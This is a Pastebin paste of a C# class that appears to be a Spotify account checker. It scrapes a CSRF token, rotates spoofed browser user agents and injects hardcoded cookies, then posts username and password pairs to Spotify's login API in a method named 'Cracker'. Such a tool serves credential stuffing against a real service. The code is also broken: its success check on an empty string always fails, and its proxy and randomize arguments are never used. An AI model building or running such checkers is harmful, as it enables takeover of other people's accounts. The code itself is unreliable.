Advertisement
Guest User

Untitled

a guest
Apr 12th, 2018
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.11 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. using System.Net;
  8. using System.Text.RegularExpressions;
  9. using System.Collections;
  10. using System.Reflection;
  11.  
  12. namespace Module
  13. {
  14.     class Spotify
  15.     {
  16.  
  17.         public static CookieContainer Cookies = new CookieContainer();
  18.  
  19.         public static string RandomAgent()
  20.         {
  21.          
  22.  
  23.             List<string> UserAgents = new List<string>();
  24.             UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
  25.             UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0");
  26.             UserAgents.Add("Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36");
  27.             UserAgents.Add("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36");
  28.             UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36");
  29.             UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
  30.             UserAgents.Add("Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)");
  31.             UserAgents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A");
  32.             UserAgents.Add("Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25");
  33.             UserAgents.Add("Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16");
  34.             UserAgents.Add("Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51");
  35.             UserAgents.Add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0");
  36.  
  37.             Random rnd = new Random();
  38.             var r = rnd.Next(1, UserAgents.Count);
  39.  
  40.             return UserAgents[r];
  41.  
  42.         }
  43.  
  44.         public static string csrf_token()
  45.         {
  46.  
  47.             var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F");
  48.             request.CookieContainer = Cookies;
  49.  
  50.             request.Method = "HEAD";
  51.             request.KeepAlive = true;
  52.             request.ContentType = "text/html;charset=utf-8";
  53.             request.UserAgent = RandomAgent();
  54.  
  55.             var response = request.GetResponse().Headers.ToString();
  56.  
  57.             Match match = Regex.Match(response, "Set-Cookie: csrf_token=.*");
  58.             string result = match.Value.Replace("Set-Cookie: csrf_token=", "");
  59.             string[] result2 = result.Split(';');
  60.             string finalresult = result2[0];
  61.  
  62.             return finalresult;
  63.         }
  64.  
  65.         public static void GetCookies()
  66.         {
  67.             var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
  68.             request.CookieContainer = Cookies;
  69.  
  70.             var postData = "remember=false";
  71.             postData += "&username=USERNAME";
  72.             postData += "&password=PASSWORD";
  73.             postData += "&csrf_token=" + csrf_token();
  74.             var data = Encoding.ASCII.GetBytes(postData);
  75.  
  76.             request.KeepAlive = true;
  77.             request.Method = "POST";
  78.             request.Accept = "application/json, text/plain, */*";
  79.             request.Headers.Add("Origin", "https://accounts.spotify.com");
  80.             request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
  81.             request.Headers.Add("Accept-Encoding", "gzip, deflate");
  82.             request.Headers.Add("Cache-Control", "no-cache");
  83.             request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");
  84.  
  85.             request.ContentType = "application/x-www-form-urlencoded";
  86.             request.UserAgent = RandomAgent();
  87.             request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
  88.             request.ContentLength = data.Length;
  89.  
  90.             using (var stream = request.GetRequestStream())
  91.             {
  92.                 stream.Write(data, 0, data.Length);
  93.                 stream.Close();
  94.             }
  95.  
  96.             var response = (HttpWebResponse)request.GetResponse();
  97.         }
  98.  
  99.                 public static bool Cracker(string username, string password, string proxy, bool randomize)
  100.         {
  101.             GetCookies();
  102.             var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
  103.             request.CookieContainer = Cookies;
  104.  
  105.             var postData = "remember=false";
  106.             postData += "&username=" + username;
  107.             postData += "&password=" + password;
  108.             postData += "&csrf_token=" + csrf_token();
  109.             var data = Encoding.ASCII.GetBytes(postData);
  110.  
  111.             request.KeepAlive = true;
  112.             request.Method = "POST";
  113.             request.Accept = "application/json, text/plain, */*";
  114.             request.CookieContainer.Add(new Cookie("csrf_token", csrf_token()) { Domain = "accounts.spotify.com" });
  115.             request.CookieContainer.Add(new Cookie("__bon", "MHwwfC0xNzE5NjQ0MjgyfC03MjIyNTA1OTg0NHwxfDF8MXwx") { Domain = "accounts.spotify.com" });
  116.             request.CookieContainer.Add(new Cookie("fb_continue", "https%3A%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F") { Domain = "accounts.spotify.com" });
  117.             request.CookieContainer.Add(new Cookie("_ga", "GA1.2.2129413168.1458374419") { Domain = "accounts.spotify.com" });
  118.             request.CookieContainer.Add(new Cookie("_gat", "1") { Domain = "accounts.spotify.com" });
  119.             request.Headers.Add("Origin", "https://accounts.spotify.com");
  120.             request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
  121.             request.Headers.Add("Accept-Encoding", "gzip, deflate");
  122.             request.Headers.Add("Cache-Control", "no-cache");
  123.             request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");
  124.  
  125.             request.ContentType = "application/x-www-form-urlencoded";
  126.             request.UserAgent = RandomAgent();
  127.             request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
  128.             request.ContentLength = data.Length;
  129.  
  130.             using (var stream = request.GetRequestStream())
  131.             {
  132.                 stream.Write(data, 0, data.Length);
  133.                 stream.Close();
  134.             }
  135.  
  136.             var response = (HttpWebResponse)request.GetResponse();
  137.             var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
  138.  
  139.             if (responseString.Contains(""))
  140.             {
  141.                 return false;
  142.  
  143.             }
  144.             else
  145.             {
  146.  
  147.                 return true;
  148.  
  149.  
  150.             }
  151.  
  152.  
  153.  
  154.         }
  155.  
  156.     }
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement